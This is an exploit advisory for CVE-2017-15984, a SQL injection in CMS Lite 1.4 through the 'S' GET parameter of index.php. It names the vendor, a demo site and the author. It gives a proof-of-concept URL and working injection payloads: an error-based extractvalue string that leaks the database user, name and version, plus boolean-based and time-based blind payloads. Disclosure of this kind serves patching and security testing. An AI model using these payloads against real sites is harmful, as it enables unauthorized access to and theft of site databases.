CmsLite 1.4 - 'S' SQL Injection

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# Exploit Title: Creative Management System - CMS Lite 1.4 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://bekirk.co.uk/
# Software Link: https://codecanyon.net/item/creative-management-system-cms-lite/15297597
# Demo: http://demo.bekirk.co.uk/
# Version: 1.4
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15984
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
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# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?S=[SQL]
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# '+/*!50000Procedure*/+/*!50000Analyse*/+(extractvalue(0,/*!50000concat*/(0x27,0x3a,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()))),0)--+-
# 
# Parameter: S (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: S=BeDark' AND 7998=7998 AND 'QNRN'='QNRN
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: S=BeDark' AND SLEEP(5) AND 'DmYc'='DmYc
# 	
# Etc..
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